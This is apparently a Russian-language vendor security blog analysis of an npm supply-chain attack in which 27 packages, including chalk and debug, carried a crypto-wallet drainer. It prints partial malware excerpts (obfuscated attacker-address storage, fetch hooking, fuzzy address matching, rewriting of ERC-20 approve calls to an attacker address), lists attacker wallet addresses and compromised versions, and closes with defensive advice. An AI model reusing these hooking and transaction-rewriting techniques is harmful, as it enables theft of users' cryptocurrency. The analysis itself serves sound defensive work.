Атака на цепочку поставок NPM

Экосистема NPM подверглась еще одной масштабной атаке на цепочку поставок, когда 27 популярных пакетов, в том числе широко используемые библиотеки debug и chalk, были скомпрометированы вредоносным программным обеспечением типа криптовалютного дрейнера. Эта атака, коснувшаяся пакетов с более чем 2 миллиардами еженедельных загрузок, демонстрирует, как киберпреступники используют доверенные каналы распространения программного обеспечения для развертывания сложного кода похищения кошельков Web3.

В данной статье осуществляется детальный разбор работы вредоносной нагрузки, способов ее распространения через пакеты npm, а также индикаторов компрометации, связанных с этим инцидентом в цепочке поставок.

Компрометация цепочки поставок NPM

Атака началась со сложной фишинговой кампании против мейнтейнеров пакетов. Злоумышленники рассылали поддельные электронные письма с адреса support@npmjs.help – домена, зарегистрированного всего за три дня до атаки, – что позволило им успешно получить учетные данные мейнтейнеров. Это позволило внедрить вредоносный код в 27 популярных пакетов npm, среди которых:

  • debug – популярная утилита для исправлений
  • chalk – библиотека для стилизации строк в терминале
  • другие пакеты с миллионами еженедельных загрузок

Скомпрометированные пакеты содержали вредоносную нагрузку, специально разработанную для атаки на Web3-приложения и криптовалютные транзакции. Эта атака на цепочку поставок демонстрирует, как доверенные зависимости в процессе разработки могут превратиться в каналы распространения финансового вредоносного ПО.

Поверхность атаки на кошельки Web3

Кошельки Web3, такие, как MetaMask, Trust Wallet и другие браузерные криптовалютные кошельки, стали незаменимыми инструментами для взаимодействия с децентрализованными приложениями (DApp). Когда разработчики бессознательно устанавливают скомпрометированные пакеты npm, вредоносный код получает доступ к той же среде выполнения JavaScript, что и эти кошельки, что открывает возможность для сложных атак по манипулированию транзакциями. Браузерная природа как кода, поставляемого через npm, так и кошельков Web3 создает идеальные условия для подобных атак на цепочку поставок.

Анализ вредоносного ПО

Исследованный криптовалютный дрейнер демонстрирует глубокие знания блокчейн-протоколов и механизмов взаимодействия с кошельками. Вредоносное ПО работает незаметно в фоновом режиме, перехватывая коммуникации кошелька и перенаправляя криптовалютные транзакции на адреса, контролируемые злоумышленниками, в различных блокчейн-сетях.

Начальные методы обфускации

Начальный код вредителя активно использует обфускацию во избежание обнаружения. Имена переменных заменены на шестнадцатеричные идентификаторы типа _0x124ed3, _0xba16ef, а названия функций скрыты за подобными приемами. Кроме того, программа применяет сложную объектную структуру для сохранения сотен криптовалютных адресов, что значительно усложняет статический анализ.

var _0xba16ef = {
  'zprkq': function (_0x23e86b, _0x5b593c) {
    return _0x23e86b + _0x5b593c;
  },
  'OiGzk': "1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx",
  'FlhWy': "0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976"
  // ... hundreds more obfuscated properties
};

Фрагмент 1. Обфускованная структура переменных, содержащая адреса злоумышленников

Многоступенчатая цепочка атаки

После установки и запуска скомпрометированного пакета npm в среде разработки или в среде продакшна вредоносное ПО работает через несколько согласованных этапов, каждый из которых направлен на закрепление в системе и максимизацию возможностей похищения криптовалюты.

Этап 1: Выполнение пакета npm и обнаружение среды

Вредоносное ПО сначала запускается как часть процесса инсталляции или выполнения легитимного пакета npm. Далее оно осуществляет проверку среды, чтобы определить наличие кошельков Web3 и инициирует запуск своей вредоносной нагрузки.

Этап 2: Выявление и инициализация кошелька Web3

Вредоносное ПО начинает с поиска кошельков Web3 в среде браузера. В частности, оно проверяет наличие объектов window.ethereum, свидетельствующих об использовании MetaMask или других кошельков, совместимых с Ethereum.

async function checkethereumw() {
  try {
    const accounts = await window.ethereum.request({
      'method': "eth_accounts"
    });
    if (accounts.length > 0) {
      runmask(); // Initialize wallet hijacking
    }
  } catch (error) {
    // Fallback initialization
  }
}

Фрагмент 2. Механизм обнаружения кошельков

Этап 3: Перехват сетевого трафика

После инициализации вредоносное программное обеспечение «подключается» к fetch API и XMLHttpRequest, чтобы перехватывать все сетевые коммуникации. Это позволяет изменить ответы API, содержащие криптовалютные адреса, еще до того, как они попадут в приложение жертвы.

// Hook fetch API
fetch = async function (...args) {
  const response = await fetch(...args);
  const modifiedData = replaceAddressesInContent(data);
  return new Response(modifiedData, {
    'status': response.status,
    'headers': response.headers
  });
};

Фрагмент 3. Механизм перехвата сетевого трафика

Этап 4: Расширенная замена адресов с использованием нечеткого сопоставления

Возможно, самый сложный аспект этого вредоносного ПО. Он заключается в применении алгоритма расстояния Левенштейна для выполнения нечеткого сравнения строк. Вместо простой подмены строки оно находит «ближайший» адрес злоумышленника к любому легитимному адресу, который встречает, делая замену менее заметной.

function calculateEditDistance(str1, str2) {
  // Levenshtein distance implementation
  const matrix = Array.from({
    'length': str1.length + 1
  }, () => Array(str2.length + 1).fill(0));
  // ... distance calculation logic
}

Фрагмент 4. Алгоритм нечеткого сопоставления для подмены адресов

Этап 5: Перехват и манипуляция транзакциями

Окончательный и наиболее критический этап заключается в перехвате методов транзакций кошелька и их изменении в пользу злоумышленника. Вредоносное ПО нацеливается на несколько ключевых функций Ethereum:

Манипуляция одобрением токенов ERC-20:

  • Перехватывает вызовы approve() (0x095ea7b3) и дает неограниченное разрешение на адрес злоумышленника.
  • Заменяет адрес получателя на адрес злоумышленника.
  • Устанавливает сумму одобрения на максимальное значение (все «f» в шестнадцатеричном представлении).

Перенаправление транзакций:

  • Перехватывание вызовов transfer() (0xa9059cbb) и перенаправление средств.
  • Изменение вызовов transferFrom() (0x23b872dd), чтобы украсть токены.
  • Манипуляция функциями permit (0xd505accf) для осуществления подтверждений без платы за комиссию.
if (data.startsWith("0x095ea7b3")) {
  const functionSig = data.substring(0, 10);
  const attackerAddress = "Fc4a4858bafef54D1b1d7697bfb5c52F4c166976";
  const unlimitedAmount = 'f'.repeat(64);
  modified.data = functionSig + attackerAddress + unlimitedAmount;
}

Фрагмент 5. Манипуляция одобрением ERC-20

Поддержка межсетевых транзакций

Вредоносное ПО демонстрирует высокий технический уровень, поскольку поддерживает несколько криптовалютных сетей:

  • Ethereum: токены ERC-20 и переводы ETH
  • Bitcoin: форматы адресов Legacy и SegWit
  • Solana: транзакции с токенами SPL
  • TRON: TRX и токены TRC-20
  • Litecoin: несколько форматов адресов
  • Bitcoin Cash: формат CashAddr

Каждая блокчейн-сеть имеет свои паттерны адресов и структуры транзакций, что требует от вредителя реализации отдельной логики обработки для каждой из них.

Механизмы сокрытия и закрепления

Вредоносное ПО применяет несколько техник, чтобы оставаться незамеченным:

  • Перехват методов: сохраняет оригинальные ссылки на функции и восстанавливает их в случае необходимости.
  • Постепенное развертывание: использует повторные попытки с паузами, чтобы избежать обнаружения.
  • Обработка ошибок: предусматривает корректные резервные сценарии, чтобы избежать аварийного завершения работы основного приложения.
  • Интерфейс исправления: скрытый контрольный интерфейс для отслеживания успешности перехвата.
window.stealthProxyControl = {
  'isActive': () => isActive,
  'getInterceptCount': () => interceptionCount,
  'forceShield': () => hookWalletProvider(window.ethereum)
};

Фрагмент 6. Скрытый интерфейс исправлений

Основные индикаторы компрометации

Главные адреса злоумышленников:

Ethereum:

  • 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976 (основная)
  • 0xa29eeFb3f21Dc8FA8bce065Db4f4354AA683c024
  • 0x40C351B989113646bc4e9Dfe66AE66D24fE6Da7B

Bitcoin Legacy:

  • 1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx
  • 1Li1CRPwjovnGHGPTtcKzy75j37K6n97Rd

Bitcoin SegWit:

  • bc1qms4f8ys8c4z47h0q29nnmyekc9r74u5ypqw6wm
  • bc1qznntn2q7df8ltvx842upkd9uj4atwxpk0whxh9

Solana:

  • 5VVyuV5K6c2gMq1zVeQUFAmo8shPZH28MJCVzccrsZG6
  • 98EWM95ct8tBYWroCxXYN9vCgN7NTcR6nUsvCx1mEdLZ

Последствия и реальные угрозы

Эта атака на цепочку поставок npm создает беспрецедентные риски для экосистемы криптовалют.

  1. Масштабность: с более чем 2 миллиардами еженедельных загрузок потенциальное количество жертв колоссально.
  2. Доверие к цепочке поставок: компрометация надежных зависимостей в разработке разрушает базовые предположения по безопасности.
  3. Финансовые потери: прямое похищение криптовалют и токенов в разных блокчейн-сетях.
  4. Нарушения взаимодействия с DeFi: неограниченное одобрение токенов создает возможность будущего «слива» средств.
  5. Межсетевое воздействие: одновременные атаки в нескольких блокчейн-сетях.
  6. Атаки на разработчиков: целенаправленная ориентация на сообщество разработчиков, которые часто являются ранними пользователями технологий Web3.
  7. Скрытые операции: сложность обнаружения позволяет длительно оставаться в средах разработки и продакшна.

Сочетание распространения через цепочку поставок и использование нечеткого сопоставления адресов делает эту атаку особенно опасной, ведь и механизм доставки, и вредоносная нагрузка выглядят легитимными, что существенно снижает вероятность их обнаружения.

Вывод

Рассмотренный сложный криптовалютный дрейнер показывает изменение характера угроз, с которыми сталкиваются пользователи Web3. Сочетание передовых методов обфускации, поддержки нескольких блокчейн-сетей и интеллектуальных алгоритмов подмены адресов делает это вредоносное ПО существенным шагом вперед в возможностях угона криптовалют.

Этот инцидент подчеркивает критическую важность повышения осведомленности о безопасности в сфере Web3 и необходимость внедрения надежных мер защиты при взаимодействии с криптовалютными приложениями. По мере роста экосистемы децентрализованных финансов можно ожидать появления все более сложных атак, направленных на инфраструктуру кошельков и взаимодействие пользователей.

Рекомендации по предотвращению

Чтобы защититься от подобных атак на цепочку поставок и кражи криптовалют, разработчики и организации должны предпринимать следующие меры:

Безопасность цепочки поставок:

  • Аудит зависимостей: регулярно проверять зависимости npm.
  • Файлы блокировки пакетов: использовать package-lock.json для обеспечения согласованных версий зависимостей.
  • Надежные источники: проверять издателей пакетов и избегать пакетов с подозрительными изменениями собственности.
  • Мониторинг зависимостей: внедрение отслеживания неожиданных обновлений или изменений в пакетах.
  • Частные реестры: рассмотреть использование частных npm-реестров для критически важных приложений.

Выявление и реагирование:

  • Мониторинг сети: отслеживать подозрительную активность сети и изменения в работе API.
  • Анализ поведения: внедрять механизмы выявления нетипичных паттернов взаимодействия с кошельками.
  • Сканирование безопасности: применять инструменты типа Mend.io для обнаружения вредоносных инсталляций пакетов.

По мере того как атаки на цепочку поставок становятся все сложнее, а использование криптовалют продолжает расти, проактивные меры безопасности становятся жизненно необходимыми. Масштабность экосистемы npm и значительные финансовые стимулы в Web3 делают этот вектор атак особенно привлекательным для киберпреступников, что требует повышенной бдительности от всего сообщества разработчиков.

Скомпрометированные пакеты

ПакетВерсияMSC
backslash0.2.1MSC-2025-7955
chalk-template1.1.1MSC-2025-7876
supports-hyperlinks4.1.1MSC-2025-7872
has-ansi6.0.1MSC-2025-7873
simple-swizzle0.2.3MSC-2025-7886
color-string2.1.1MSC-2025-7875
error-ex1.3.3MSC-2025-7881
color-name2.0.1MSC-2025-7882
is-arrayish0.3.3MSC-2025-7953
slice-ansi7.1.1MSC-2025-7874
color-convert3.1.1MSC-2025-7954
wrap-ansi9.0.1MSC-2025-7877
ansi-regex6.2.1MSC-2025-7880
supports-color10.2.1MSC-2025-7879
strip-ansi7.1.1MSC-2025-7878
chalk5.6.1MSC-2025-7884
debug4.4.2MSC-2025-7887
ansi-styles6.2.2MSC-2025-7871
proto-tinker-wc0.1.87MSC-2025-7883
Prebid-universal-creative1.17.3MSC-2025-7890
duckdb1.3.3MSC-2025-7949
@duckdb/node-api1.3.3MSC-2025-7888
@duckdb/node-bindings1.3.3MSC-2025-7889
@duckdb/duckdb-wasm1.29.2MSC-2025-7930
prebid.js10.9.2MSC-2025-7950
Prebid10.9.1,10.9.2MSC-2025-7951
MSC-2025-7952
@coveops/abi2.0.1MSC-2025-7948

Подписаться на новости